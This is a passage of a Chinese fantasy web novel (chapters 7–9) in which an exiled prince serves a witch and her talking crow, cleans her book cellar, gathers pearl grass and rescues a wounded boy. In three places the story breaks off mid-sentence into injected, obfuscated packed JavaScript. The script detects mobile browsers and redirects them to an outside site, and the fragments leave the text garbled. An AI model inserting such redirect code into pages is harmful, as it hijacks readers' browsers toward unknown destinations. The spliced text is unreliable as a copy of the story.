拿到水晶球后,梅拉将其放到膝盖上,用手在上面轻轻一抹,水晶球内的灰絮顿时变化成一阵迷幻的烟雾。 “你的骑士长叫什么名字?”梅拉问道。 “切尔各,切尔各·弗霍斯特。”莱克斯答道。 “切尔各·弗霍斯特,王子莱克斯·努伦格尔忠诚的骑士,你如今是否平安呢?”梅拉对着水晶球喃喃。 随着她的话音落下,烟雾迅速弥漫开来,构成梅拉才能解答的图案。 梅拉定定看了烟雾好一会儿,才为莱克斯解释其中的寓意,“水晶球告诉我切尔各如今很安全,并且离我们的距离很近……在我们的东南方向,大概一百里内。” 听到切尔各如今很安全,莱克斯总算松了口气,至于去找他,如果没有刚才和女巫的约定,莱克斯一定会动这个心思。 但是现在,莱克斯暗地里叹了口气,他相信切尔各哪怕找不到他,也会回到王城把他们的遭遇告知斐南基,给斐南基留个底。 之后斐南基怎么打算,那就是他的事了。 说不定会被继王后拉拢过去呢。 莱克斯露出一个苦笑,这也是没办法的事,他既然回不去,势必无法阻拦他的弟弟被立为新的王储,总不能让斐南基在这种情况下还与继王后和新王储对着干——他是王国的宰相,不是莱克斯的家臣。 “对了,记得把你手里的药剂给喝了。”梅拉看到莱克斯手里的药剂,突然提醒道。 她还没歇了要在莱克斯身上赚一笔的心思。 “可我现在没有足够的钱能用来买下这瓶药剂。”莱克斯难得的不知所措起来。 “没关系,你先欠着,等你回到王宫,这点钱算什么。”梅拉笑眯眯的,“还不收你利息喔。” 然而莱克斯很想说,梅拉浑身上下都充斥着比收利息还要可怕的气息。 只不过人在屋檐下,不得不低头,莱克斯老老实实地背上了这门债务。 体验十分新奇,就好像往面包里抹的不是果酱而是辣椒,即使呛出了眼泪也不得不咽下去的感觉。 7. 第 7 章 “咳咳。”莱克斯被厚重书页上的积灰呛到了。 难怪刚刚梅拉要求莱克斯带着掸子下来打扫地下室时,塞拉斯露出了格外微妙的眼神。 像同情,又像是庆幸自己逃过一劫。 “地下室在哪?”莱克斯拿好了工具,一把毛掸子,就放在他睡觉的毯子附近。 在这座小木屋里,毛掸子不仅是个非常实用的清洁工具,偶尔还能防身。比如在塞拉斯因为惹恼梅拉而慌不择路地到处乱飞的时候,莱克斯可以举起毛掸子,防止塞拉斯扑到自己身上。 尽管塞拉斯对此非常有怨言,它用翅膀扶着晕乎乎的脑袋,强烈要求梅拉收回莱克斯的毛掸子。 梅拉捂住耳朵假装听不见塞拉斯的抱怨。 气得塞拉斯飞过来扒拉她的手,非要在她耳边吵吵。 “好啦好啦,莱克斯又不像你一样有翅膀可以用来干活,把毛掸子给他怎么了?”梅拉只好假模假样地安抚了塞拉斯两句,还顺着它背上的毛摸了又摸。 塞拉斯一听,也觉得梅拉说得确实很有道理,毕竟它身为鸟类,平时最得意的就数这一双能自由翱翔的翅膀了。 与它一比,没有翅膀的莱克斯是多么可怜啊。 旁观了梅拉是怎么忽悠好塞拉斯的莱克斯:“……” 算了,他不和一只乌鸦计较。 “喏,把这些食物搬开,就能看见地下室的木门了。”塞拉斯扑簌簌扇动翅膀飞起来,落在一旁的柜子上,朝平时堆放食物的地方抬了抬下巴。 莱克斯把装着食物的布袋子搬开,果然看到了一扇与周围的木头地板几乎融为一体的木门,以及上头紧贴着门扉,外表已经有些生锈了的圆形拉环。 莱克斯拽住拉环使劲,随着刺耳的嘎吱一声,木门掀开,露出了一条直直地延伸向下的通道。 借助身后打来的光线,莱克斯能够看到地下室挖的并不算很深,估摸着刚好能容纳梅拉的身高,他亲自走下来,离碰到顶更是还有大半个脑袋的差距。 只不过因为地下室里堆的书太多,导致莱克斯连下脚的地方都少得可怜,他只好拎着掸子,小心翼翼地钻入垒得高高的书山之中。 结果莱克斯只是一个不经意的抬手,一摞本就摇摇欲坠的书顿时噼里啪啦的劈头盖脸砸了下来。 莱克斯连忙蹲下身想把书捡起来,紧接着又是一阵噼里啪啦的响声。 莱克斯:“……” 地下室的出口处飘来梅拉的声音,“怎么那么大动静?是不是把书弄倒了?你小心点,那可都是我珍藏多年的书!如果弄坏了一本,小心你的债务。” 又来了,自从发现莱克斯不会与她讨价还价之后,梅拉已经往莱克斯身上加了不知道多少笔冤债。 虽然莱克斯自信回到王宫后能轻易付清这笔债务,但他也受不了梅拉拿自己当冤大头坑钱。 再说了,梅拉平时卖药剂的时候难道少赚了吗?这个抠门又奸诈的女巫,从没有卖出过定价低于一枚银币的药剂。 莱克斯捏着掸子的手紧了又紧,最后小心再小心地放慢动作,把掉在地上的书擂成了一座新的小山。 中途,莱克斯随意地看了一眼手上红色封皮的书,书名是《一千种植物的辨别与炼制方法》。 莱克斯随即又捡起了另一本书,黑色的封皮上用烫金勾勒出优雅的字体,《如何理解星象的寓意与指引》。 其它的还有诸如《诅咒的一百种仪式》、《最实用的一千种咒语》,莱克斯露出若有所思的表情,看来这整个地下室的书都与女巫有关,那梅拉能拥有这么多的书也就不奇怪了。 要知道这年头的书发行量极少,又因为售价昂贵,基本都摆在贵族的书架上。 因此拥有越是丰富的藏书,越能代表一个家族的底蕴。 王国的拜亚德伯爵之所以出名,就是因为他的庄园之中有一间藏书数量仅次于王宫的藏书室。 尽管莱克斯可以肯定,拜亚德伯爵本人十有八九并没有把家里的藏书读完,只是个伪装出来的花架子。 但不妨碍拜亚德伯爵靠着故作高深的姿态在社交场中无往不利,吸引过不少人的注意。 其中就包括莱克斯被养得天真单纯、不谙世事的姑姑纳伊芙公主。 想到这对时不时就要闹出点笑话的夫妇,莱克斯面无表情地继续拿着掸子拂去书页上的积灰。 也就是纳伊芙公主的存在,让小小的莱克斯坚定了念头,未来的王后可以于美貌上稍逊一筹,但决不能是个没读过书的女人。 * “梅拉,你就这么放心让莱克斯到地下室去吗?那里头放着的可全是你花大价钱弄来的书,上面记载的全是与女巫相关的知识,万一不小心让他看到了该怎么办?” 塞拉斯落到摇椅的扶手上,歪着脑袋问正弯腰清点材料的梅拉。 由于在前一天晚上经过梳洗和打理,梅拉那头红色的卷发总算不是乱糟糟的披在身后了,现在是整齐地披在身后。 只不过随着梅拉的动作,它们连同白色的蕾丝披肩一起,差点就要掉到地上去了。 之所以说是差点,是因为塞拉斯十分有眼色地冲过来,及时叼起了梅拉的发尾,还把披肩一起扯回了原位。 “随他看去好了,你以为每个看了书上内容的人都能像我一样从一个普通人变成女巫吗?你是不是太小瞧你的主人我了?” 梅拉直起腰,抱臂盯着塞拉斯,直把它盯得疯狂摇头。 “怎么会,梅拉是世界上最最聪明的女巫,没有任何人能比得过梅拉!”塞拉斯刻意加重语气强调道,生怕梅拉不相信它的话。 梅拉轻哼一声,虽然在教会的宣传之中,女巫都是一生下来就自带罪恶的魔力,但其实也有像梅拉这样后天成为女巫的例子,只不过数量极其稀少罢了。 除了需要一颗极其聪明的脑袋,还需要拥有超乎寻常的领悟力。 打个比方来说,就好像有人觉得只要学会了相关的草药知识,再侥幸得到一张女巫的药剂秘方,就能炼制出一瓶相应的魔药。 ——怎么可能!那岂不是人人都能成为女巫了? 实际上,每个女巫的药剂秘方都是不同的。 追根究底,魔药其实是女巫利用草药混合魔力炼制出的奇迹,对于药剂的理解才是促使药水生效的本源,因此换另一位女巫来制作变形药剂,她绝不可能采用与梅拉一模一样的材料与剂量。 像《最常见的魔药介绍与炼制心得》中就写过,变形药剂要使用蜥蜴的皮肤,这是利用了蜥蜴改变皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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梅拉翻过一页书,“说起来,我曾经以为只有拥有魔力的女人才能成为女巫。” “现在你知道了,那不过是吟游诗人的臆测。不是只有拥有魔力的人才能成为女巫,而是当你成为女巫,你就拥有了连教会都觊觎的魔力。”女人漫不经心的答道。 * 莱克斯从地下室里出来的时候,夕阳的余晖透过敞开的门窗在小木屋中洒了一地,而梅拉就与塞拉斯一起坐在门口,享受橙色的余温。 听到声音,梅拉转过头来,手上还揪着编到一半的辫子。 “要不要一起来晒夕阳?”梅拉向莱克斯发出邀请。 莱克斯默了片刻,他总是能从梅拉嘴里听到类似这样不合常理的事情,正常人如果想晒太阳,也是挑下午烧得正旺的太阳,哪有挑夕阳的。 莱克斯走到梅拉身边,多年学习的宫廷礼仪让他绝不可能像梅拉一样毫不讲究地坐在地上,起码要搬一把椅子来。 如果没有椅子,那他宁可像现在这样站着。 “怎么样?夕阳晒在身上是不是很温柔?并不刺目的光线、也几乎感受不到仿佛被烧着一样的热度。”梅拉美滋滋地抬头,和第一次晒夕阳的莱克斯分享她的心得。 莱克斯的心底忽然一动,那双幽绿的眼眸染上颜色鲜亮的光晖,倒确实显得格外温柔。 8. 第 8 章 书上说,珍珠草喜欢生长在湿润的环境,一般都能在河边找到它们的踪迹。 只不过五月份的珍珠草还没开始结果,看起来和普通的水草没有多少区别,最好等到六月,一粒粒米粒大小的果实会在阳光下闪耀着珍珠般的光泽,轻而易举的从一众水草中脱颖而出。 只不过梅拉等不到六月了,她要的就是还没开始结果的珍珠草。 因此一大早,爱睡懒觉的梅拉就精神抖擞地打算出门了。 往常一般是塞拉斯陪在梅拉身边,但这不是有了莱克斯,塞拉斯便被梅拉留下来看家了。 塞拉斯不满地发出连连抗议:“坏梅拉!坏梅拉!为什么有了莱克斯就抛弃塞拉斯?为什么不让莱克斯留下来看家?” “因为莱克斯可以帮我一起采摘珍珠草。”梅拉理直气壮地摊手,反驳塞拉斯对她偏心的指责。 有莱克斯在,梅拉能省下不少功夫,而塞拉斯除了能在一旁给她加油打气之外还能做什么? “呜……梅拉好现实,塞拉斯好伤心,塞拉斯要离家出走……”塞拉斯拿翅膀擦了擦眼睛,发出惟妙惟肖的呜咽声,实际上黑豆似的眼珠子不停地滴溜乱转,一看就知道在打别的主意。 “说吧,我该怎么做才能让塞拉斯开心?”梅拉虽然看破了塞拉斯的小心思,但还是宽容地给了它得寸进尺的机会。 “很简单,只要买一斤南瓜饼给塞拉斯就行。”话是这么说,塞拉斯的翅膀仍然停在脸上,大有梅拉不答应它就继续装模作样哭下去的架势。 “半斤,没得商量。”梅拉竖起食指,在塞拉斯面前晃了晃,表明了她坚决的态度。 别看塞拉斯这会儿仿佛狮子大开口,一下就要了一斤南瓜饼,实际上它作为正常乌鸦大小时的胃口也就那么点大,真给它买回来一斤南瓜饼,它能藏在窝里放到发霉为止。 没错,塞拉斯其实并不像莱克斯以为的那样只有一根栖杆可以用来休息,它还有个常年丢在尖角屋顶上的窝,只不过那是塞拉斯藏宝贝的地方。 路上长得漂亮的小花、河岸边亮闪闪的石头,总之只要被塞拉斯看上了,它就会叼回窝里放着。 放这些不会发霉的东西也就算了,梅拉绝不容许某一天在屋顶上看到突然冒头的菌丝。 “好吧好吧,塞拉斯答应了。”塞拉斯故作为难地点头,实际上已经在心里笑开了花。 莱克斯说的没错,想要一样东西的时候,可以先把要求提高,能得到全部最好,不能的话只有一半的分量也行,反正它原本想要的也不过只是这一半而已。 这回轮到梅拉感到奇怪了,塞拉斯居然不和她讨价还价了? 梅拉不由得狐疑地多看了塞拉斯两眼,试图看出它是否藏着额外的阴谋。 塞拉斯让梅拉看得格外不自在,生怕它的计划泡汤,只好清清嗓子,催促两人快点出发,它保证会好好看家的。 “你有没有觉得刚刚塞拉斯有点奇怪?”路上,梅拉越想越不对劲,便扭头问一旁的莱克斯。 “有吗?我不知道。”莱克斯摇头。 “你不知道吗?可我看你最近和塞拉斯不是相处得挺好的,动不动就要凑到一起,我还以为你们背着我说了不少悄悄话呢。”梅拉挑眉,听上去早有怀疑。 “一些无关紧要的闲话罢了,塞拉斯说它好不容易能找到一个人陪它聊聊天,我不忍心拒绝它。” 莱克斯镇定地与梅拉对视了半分钟,塞拉斯说了,不要被梅拉的话吓到,她大概率也是在诈你呢。 果然,梅拉先一步心虚地移开了视线。 她那么忙,哪有空天天陪宠物聊天,偏偏塞拉斯是只喜欢聒噪的乌鸦,如果有人愿意陪它聊天,它一年说的话都够编一本词典了。 既然梅拉不打算继续追究,这件事也就这么翻篇了。 不对,还没翻篇,“回去后记得提醒我给杜克瓦托写信,拜托他从村子里买一斤南瓜饼带过来。” “不是半斤吗?”莱克斯不解。 “剩下半斤当然是我和你的份啊。”梅拉理所当然地答。 都是小木屋的一份子,哪有让塞拉斯吃独食的道理。 “……不用了,我不爱吃南瓜饼。” “怎么?你嫌弃它是平民才吃的食物?” 梅拉停下来,叉着腰,打算好好教育一下这个不谙世事的小王子。 “你知道一块加了糖的南瓜饼有多贵吗?足足十二枚铜币!是一块黑麦面包的三倍,你居然还嫌弃它?别忘了你现在一枚铜币都掏不出来。” “希望你明白,挑剔食物是可耻的行为,任何一碗粥都有与一块蛋糕同等的价值,也就是填饱你肚子的价值,殿下。”教育到最后,梅拉嘴里冒出了针对莱克斯阴阳怪气的称呼。 见到梅拉皱起眉头不赞同地盯着他,莱克斯很想说他并不是这个意思,但他最终还是选择了沉默。 实际上,莱克斯六岁之后就再也不碰这类软乎乎甜腻腻的食物了,在他看来,只有无忧无虑的小孩子才会喜欢吃这种东西,而他是将来要背负起整个王国兴衰的王储,刻意地追求甜蜜的体验是堕落的、软弱的行为。 然而莱克斯的沉默给了梅拉一个错误的信号,还以为他是被自己说服了。 如果不是担心吃太多南瓜饼会发胖,她才不愿意和莱克斯分享,结果他竟然还敢挑剔,可恶! 梅拉决定要把原本分给莱克斯的南瓜饼减少两个,就当是对他挑剔食物的惩罚了。 到时候就算莱克斯尝到杜克瓦托买来的南瓜饼有多么好吃,还想再吃两个,梅拉也不会心软的,还要义正言辞地拒绝他,让他为今日的举动后悔。 * 在小木屋的西南方向,有一条大约半米宽的河流。 清澈的河水从望不到尽头的远处一路淙淙流到几只看上去才刚刚成年的梅花鹿面前,它们倒是算得上警惕,当同伴埋头喝水时,总有一只梅花鹿抻着脖子四处张望,提防有可能突然跳出来的敌人。 梅拉带着莱克斯来到附近,负责戒备的那只梅花鹿立刻投来视线,发现其中一个人是有着红头发的女巫后,它淡定地扭头,一点也没有要呼唤同伴离开的意思。 “它们不怕你?”莱克斯没有错过这一幕。 “它们为什么要怕我?”梅拉对莱克斯的疑问感到莫名其妙,搞得她好像是黑暗森林的一大恶霸,不管什么动物见了她都会被吓得绕道走一样。 “我又不会随便吃了它们,也不会剥它们的皮毛下来当毯子盖。” 话说到一半,梅拉突然想起她昨晚上刚拿出来作为晚餐的鹿肉肉干,“……肉干是杜克瓦托送来的,和我没关系。你想想,如果我和塞拉斯会制作肉干的话,怎么会需要天天煮土豆和蘑菇汤来饱腹。” 不得不承认梅拉举出的理由很有说服力,莱克斯初来乍到那几天,从早到晚都是土豆土豆土豆,蘑菇蘑菇蘑菇,吃得他脸都快绿了。 当时莱克斯还想不明白,一般人或许会缺肉吃,但鼎鼎大名的女巫为什么也会缺肉吃?也许女巫就是喜欢吃素吧。 想到自己很快就要离开,莱克斯什么也没说,就这么忍了下来。 但确定自己还要再在这里呆六年后,莱克斯忍不住了,主动问梅拉能不能做点别的食物。 闻言,梅拉单手握拳,放到唇边清了清嗓子,尴尬地坦白了她的厨艺并不好,而塞拉斯的厨艺只能支持它煮土豆和蘑菇,如果莱克斯想吃点别的,不如亲自动手。 莱克斯沉默了。 他堂堂的王储殿下,难道厨艺能比梅拉或塞拉斯好吗? 那没办法了,不然今晚他们吃水煮青豆好了。梅拉提议到。 ……看来还是让他接过烹饪的重任,从零开始学习如何制作料理好了。莱克斯妥协了。 反正已经成为梅拉名义上的仆人,学习这种上不得台面的技能也就算不得什么了。 听到终于有人愿意拯救她们的餐桌了,梅拉兴冲冲地找出贮藏起来的肉类、香料、调味品等物,供莱克斯一一尝试。 这时莱克斯才发现梅拉居然拥有非常多的香料,譬如肉豆蔻、丁香、月桂叶……要知道香料的价格堪比黄金,一般来说只有贵族才买得起。 对平民们来说,只要能在食物里放一点盐,他们就高兴得不得了了。 “因为香料也是大量运用于炼制药剂的材料啊。” 面对莱克斯的疑惑,梅拉从罐子里捻起一片晒干了水分的月桂叶。 “月桂叶是非常实用的一种香料。比如三片月桂叶可以制作能够迷惑心神的迷神药剂,九片月桂叶则能制作让人的精神放松下来的安定药剂。对了,你要是夜里睡不好,可以找我做一瓶安定药剂,诚惠三枚金币。” 梅拉又想起了她的赚钱计划,只要一找到机会,就开始向莱克斯安利。 莱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626451|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克斯想也不想直接拒绝了梅拉的“好意”,“不用了,我夜里睡得挺好的。” 用不着为本就存在的负债雪上加霜。 哪怕是重新回到王宫,不缺这点金币的王储殿下也不打算白白给女巫送钱。 莱克斯只是有钱,但他不是傻子。 “好吧,那把你的手伸出来。”梅拉没有推销出去药剂也不气馁。 莱克斯虽然不知道梅拉打算做什么,但还是依言伸出了手。 梅拉便把这片月桂叶轻轻地放到了莱克斯的掌心。 修剪得圆钝的指甲尖端也仿佛蜻蜓点水一般划过莱克斯的掌心,激起一阵细微的痒意,让莱克斯忍不住想缩回手。 梅拉不喜欢往指甲上染色,白里透粉的颜色看起来过于朴素,却透露着健康的感觉。 像一枚枚莹润的粉贝。 “鉴于你是第一次尝试,只用一片月桂叶就够了,再多浪费一片我会心疼的。”梅拉郑重其事地同莱克斯道。 毕竟香料的价格确实很贵。 她黑心,不是,好心贩卖药剂赚来的钱,不是花在买书就是花在买这些香料上了,所以莱克斯能理解她的,对吧? 不理解的莱克斯:“……” 莱克斯简直满头黑线,果然是抠门的梅拉没错了。 * “喂,你在想什么?”梅拉注意到莱克斯的眼神发飘,似乎在走神,语气顿时变得极为危险。 拜托,伟大的女巫梅拉刚刚可是在给他讲解该如何分辨未结果时的珍珠草与普通水草,结果莱克斯居然走神了? 这岂不是在说她讲的内容毫无吸引力? 梅拉暗地里磨了磨牙,平复了一下气急败坏的心情,换做别的小女巫,肯定巴不得听她讲这些,她才不跟没有天分的莱克斯计较。 “你把我刚才讲的东西都复述一遍。”梅拉不满地道。 莱克斯自觉刚才的走神惹怒了梅拉,不敢有一点犹豫,低眉顺眼地按照梅拉的要求把她刚才讲的内容复述了一遍: “珍珠草喜欢藏在普通的水草中,还会贴着水草假装它们是一体的,所以在采集的时候需要一根根水草进行鉴别,检查它们的厚度是否有区别。” “检查出珍珠草后,要用最轻的力道从顶端把它与水草撕开,避免伤害它还没完全发育好的叶苞。” 说的没错,看来刚刚是有把她的话听进去。 梅拉的表情有所和缓,接着把她原本想讲的知识讲完,“等珍珠草开始结果,它的叶苞会自动从叶片上垂落。到时候把叶苞捏开,就能从里面挤出十几粒米粒大小的珍珠果。” “一株珍珠草只会长四到五个叶苞,一旦有一个叶苞受创,接下来这个叶苞一粒珍珠果都结不出来,所以你待会儿采集的时候一定要小心,明白吗?” 梅拉如此大费周章,专门赶在这个时候带着莱克斯来采集珍珠草,就是为了之后能多得点珍珠果,她有很重要的药剂需要用到大量的珍珠果。 为了增加珍珠果的产量,梅拉还提前炼制了不少生长药剂,少得到一粒珍珠果,都要连带算上相应浪费掉的生长药水,算下来完全是亏本买卖。 因此梅拉郑重地吩咐了莱克斯好几遍,才手一挥,示意他可以去干活了。 梅拉与莱克斯两人分工,这边交给莱克斯,梅拉则去到对岸。 论采集的速度,当然是梅拉更快,毕竟以她锻炼了这么多年的眼力,一眼就能辨认出哪株水草的厚度不一样,几乎是眼也不眨,唰唰唰的就把采下来的珍珠草往篮子里放。 没一会儿梅拉手里的篮子就满了。 莱克斯则要慢一些,他得好好地摩挲一会儿,确认手里的这株水草更厚,再小心翼翼地找到尖端那一线缝隙,分开珍珠草与普通的水草,最后才摘下来放到篮子里。 “梅拉。”莱克斯突然出声。 对岸的梅拉听到声音,直起腰,冒出一个脑袋,“怎么了?” “我这边的水里,有血。”莱克斯镇定地道。 也就是因为河水太过清澈,才导致那一缕浅淡的血丝如此明显地从莱克斯指间流过,引起了他的注意。 血?好端端的怎么会有血呢? 梅拉往上游的方向看去,忽然冒出了一个念头: “走,我们去看看究竟是怎么一回事。” 若是动物受伤了还好,就怕受伤的是误闯入黑暗森林里的人。 9. 第 9 章 河流的上游通往森林的更深处,这里的树木更加粗壮挺拔,枝条也生长得更加繁茂,只见一叶压着一叶,叶片之间挨挨挤挤,不给光亮的流入留下一丝缝隙。 如果不是有梅拉的带领,莱克斯未必会主动踏入这片看起来气氛阴森又压抑的区域。 总觉得一踏进来,就会被什么不好的东西盯上似的。 “你怎么停下来了?”梅拉走了一会儿,发现莱克斯没跟上来,奇怪地回头。 “……没什么。”莱克斯停顿片刻,还是没把刚才的异样说出来。 就在刚刚,莱克斯突然觉得自己像被某双眼睛锁定了似的,无论他怎么走,哪怕不经意地改换位置,走到梅拉的前面,都没能摆脱被注视的感觉。 不知道梅拉有没有这种感觉? 莱克斯放慢了脚步,似乎在等梅拉跟上,实则偷偷地打量了一眼梅拉的表情,看起来被盯上的应该只有他一个,否则梅拉的表情不可能如此平静。 察觉到莱克斯的视线,梅拉疑惑地拍了拍他的脑袋,没什么力气,是她惯常拍塞拉斯的力道。 因为莱克斯才十二岁,尚未开始抽条的缘故,身高只到梅拉的胸口,拍脑袋的动作对梅拉来说简直再顺手不过。 “看什么呢?”梅拉问。 这回莱克斯若是再说没看什么,估计梅拉也不会信,他干脆指着河里迅速飘过的一缕淡粉色,移开梅拉的注意力,“河里又出现了血迹。” “那说明我们找的方向很对。”梅拉顺着莱克斯手指的方向,也捕捉到了那抹淡粉色血迹的尾巴。 “从颜色上来看,或许血迹的主人快撑不住了。”莱克斯沉吟道。 有可能等他们赶到,只能看到一具新鲜的尸体。 “接着走吧。”梅拉没说什么,加快了前进的速度,她的靴子踩过成堆的落叶,接连发出嘎吱的脆响。 虽然现在离秋天尚有一段距离,但一根枝条上能供给叶子生长的位置就这么多,抢不过同伴的叶子只好扑簌簌落到地面,重新成为母树生长的养料。 行走其中,莱克斯隐隐闻到了若有若无的腐烂味道。 他拧起眉头,不动声色地用眼角的余光打量四周。 随着莱克斯和梅拉越来越深入这片区域的腹地,周围的树木肉眼可见地更加挺拔高大,拥有足足需要好几名成年男人才能合力环抱住树干,在这样的环境中,想要隐藏起自己的身形再容易不过。 所以莱克斯鼓动梅拉加快脚步,试图让那双眼睛的主人在匆忙间露出破绽,然而不知他是太过警惕,还是对莱克斯失去了兴趣,总之莱克斯能感觉到自己身上那道如影随形的视线消失了。 往好处想,或许只是路过的野兽呢? 莱克斯收回视线,装作若无其事的样子,追着梅拉跑了起来。 在莱克斯走神的功夫,梅拉率先瞧到了不远处躺在河边上的一道人影。 梅拉下意识跑起来,先一步来到了这人身边。 这竟然是一个孩子,年纪大概八九岁,脸上带着些许婴儿肥,鼻头附近还长着一点点雀斑。 大概是因为昏迷了太久,加上手上的伤口不断失血,男孩的脸色异常苍白,梅拉一连叫了他好几声,都没能得到半点回应。 “他还有呼吸,只不过很微弱了。”落后一步跟上来的莱克斯蹲下身,伸手探了探男孩的鼻息,再看了眼他几乎失去了起伏的胸膛,心中顿时有了判断:这男孩大概很难被救过来了。 也不知道这么小的孩子怎么会冒险闯入黑暗森林如此危险的地方。 看男孩的衣着,大概家中小有资产,或许进来时随身带了不少仆人,但目前只有他一人躺在河边,大概那些仆人要么在遇到危险时抛下了他,要么已经丧命了吧。 莱克斯又看了看男孩身上破破烂烂的衣服,“这些都是被利齿撕咬出的痕迹,如果我没猜错的话,他应该是闯入黑暗森林后被某种野兽给盯上了。” 只是不知道那野兽为什么攻击在攻击完男孩后没有选择吃掉他,而是就这么抛下他离开了。 这算是幸运,还算是不幸呢? 莱克斯的目光重新落到了男孩垂在河水中的大半条手臂。 幸运的话,他就不会遇上野兽袭击,更不会被撕咬出这么多的伤痕,以至于失血昏迷在了河边。 但他如果不够幸运,就不可能留下一口气,又恰好倒在河边,导致血迹从上游飘下来,被莱克斯与梅拉发现。 至少等他最后一点生机消散后,莱克斯会帮他葬入地下,以免之后被别的野兽饱餐一顿,连完整的尸身都留不下来。 只不过,如果要挖个坑把他埋了,莱克斯还缺把铲子。 “要铲子干什么?既然留了口气,这不是还有救吗?”梅拉懒洋洋地使唤莱克斯,“你把他背起来,一起回小木屋,给他喝一瓶治愈药剂应该就能恢复过来了。” “治愈药剂竟然连这样的伤势都能救过来吗?”不是莱克斯怀疑梅拉制作的药剂,而是就算教会的红衣主教亲临,也只能对着只剩一口气的男孩摇头说自己救不了。 他随时都会投入死神的怀抱。 “别的女巫制作出来的治愈药剂有没有这个效果我不知道,但我制作的药剂,绝对能救他一命。”梅拉挑眉,信誓旦旦地道。 就算是为了见证梅拉所说的药效,莱克斯也要把人背回小木屋去。 好在对方只是一个八九岁的男孩,莱克斯轻轻松松就把人背了起来,同梅拉一路回到了小木屋。 * 塞拉斯原本在屋子里耐心地等外出的梅拉和莱克斯回来。 结果等啊等,等到夕阳都出来了,还没见到这两人的人影。 塞拉斯等得不耐烦了,它飞出来,绕着小木屋不停打转。 过了会儿,塞拉斯觉得这不是个办法,又飞到了屋顶上,尝试在眺望中找到熟悉的红发。 嘿,还真让塞拉斯看到了正朝着小木屋方向走来的梅拉。 虽然没找到莱克斯的身影,但森林的树木那么茂密,莱克斯又是个还没发育的小鬼,塞拉斯找不到他也很正常,反正他肯定跟在梅拉附近。 梅拉回来了,代表着莱克斯一定也回来了。 塞拉斯兴冲冲地往小木屋前的小路上飞去,在小路的尽头与梅拉三人撞了个正着。 等等,一二三,怎么有三个人?塞拉斯疑惑地盯着莱克斯背上的陌生男孩,“梅拉,你怎么又捡受伤的小男孩回来?有一个莱克斯还不够吗?” 莱克斯:“……” 莱克斯没有搭理塞拉斯,径自接着往前走。 反倒是塞拉斯不知道自己讨人嫌,仗着能飞,一会儿飞到这头,一会儿飞到那头,上下打量莱克斯背上的男孩,发出啧啧两声:“这比当初的莱克斯伤得还重吧。” “有治愈药剂在,这点伤算不上什么。”梅拉摆手,示意塞拉斯别挡道。 等回到小木屋,莱克斯需要把男孩放下来,他先看了眼梅拉的摇椅。 “不行!”梅拉注意到莱克斯的眼神,当即反对道。 当时让受了伤的莱克斯睡到自己的摇椅上是因为没办法,纵观整座小木屋,梅拉实在找不到别的地方能把人放下来,连个干净的角落都没有。 现在么,正好之前为了让莱克斯能有个睡觉的地方,梅拉特地给他空出了一个角落,经过莱克斯的收拾,刚好能放下一张完整的毯子。 梅拉看把刚捡回来的男孩放在莱克斯的毯子上再合适不过。 行吧,谁让在这座小木屋里,万事都由梅拉说了算,莱克斯屈服了。 只不过是一张毯子罢了。 又不是他在王宫里的床,让出来也没什么。 这边,梅拉拿出一瓶治愈药剂,看着平躺在毯子上的男孩犯了难,要怎么把药水给他喝下去呢? “算了,还是交给你来吧。”梅拉把治愈药剂往莱克斯手里一塞,成功把问题抛给了莱克斯来解决。 莱克斯哪有什么好办法?喝不下去?那就硬灌。 于是在梅拉与塞拉斯的注视下,莱克斯非常强硬地用手掰开男孩的嘴,挑开瓶口的软木塞,把药水全部倒了进去。 然后他眼疾手快地把男孩的嘴闭起来,紧紧按住下巴,哪怕男孩开始疯狂地咳嗽,也绝不松手。 虽然莱克斯的手法是粗/暴了一点,耐不住真的有用,过了一会儿,男孩不咳了,药水也全咽进了肚子里。 “我们要这样一直守着他吗?”旁观的塞拉斯发出疑问。 “不是我们,是你。”梅拉笑眯眯地否认,“莱克斯要给我们做晚饭,我要把采到的珍珠草种到准备好的花盆里去,守着他醒来这件事就只能拜托给你了,塞拉斯。” “好好盯着他喔。” 梅拉丢下这么一句话,便自顾自地走开了。 莱克斯也开始在屋子里走来走去,为准备晚饭而忙碌。 站在毯子上的塞拉斯忍不住往前跳了两下,差点踩到男孩的脸上,“喂!喂!塞拉斯也有事要忙,才没空看孩子!” 可惜没人搭理塞拉斯的抗议,梅拉更是直接把塞拉斯的话当成了耳旁风。 塞拉斯能有什么事要忙? 自从梅拉有了莱克斯,塞拉斯就自作聪明地把原本属于自己的活统统推给了莱克斯来干,现在它已经成了小木屋里最闲的鸟,每天好吃懒做,要么就跟大爷似的躺在窗台上,对莱克斯指指点点。 要不是看在梅拉的面子上,塞拉斯早被莱克斯好好教训一顿了。 * 巴奇闻到了一阵食物的香气。 随着这阵香气闯入他的呼吸中,被吸入肺腑,巴奇无可避免地感觉到了火烧肚子一般的饥饿。 难以忍受的饥饿感迫使巴奇猛地睁开眼,试图寻找香气的来源。 然后他就发现自己正身处于一个陌生的环境之中。 垫在身下的柔软的毯子,悬挂起来的明亮的煤油灯,贴着墙壁快顶到屋顶的高大的橱柜,以及正坐在餐桌前用餐的红头发女人,以及正在口吐人言与金发男孩斗嘴的乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 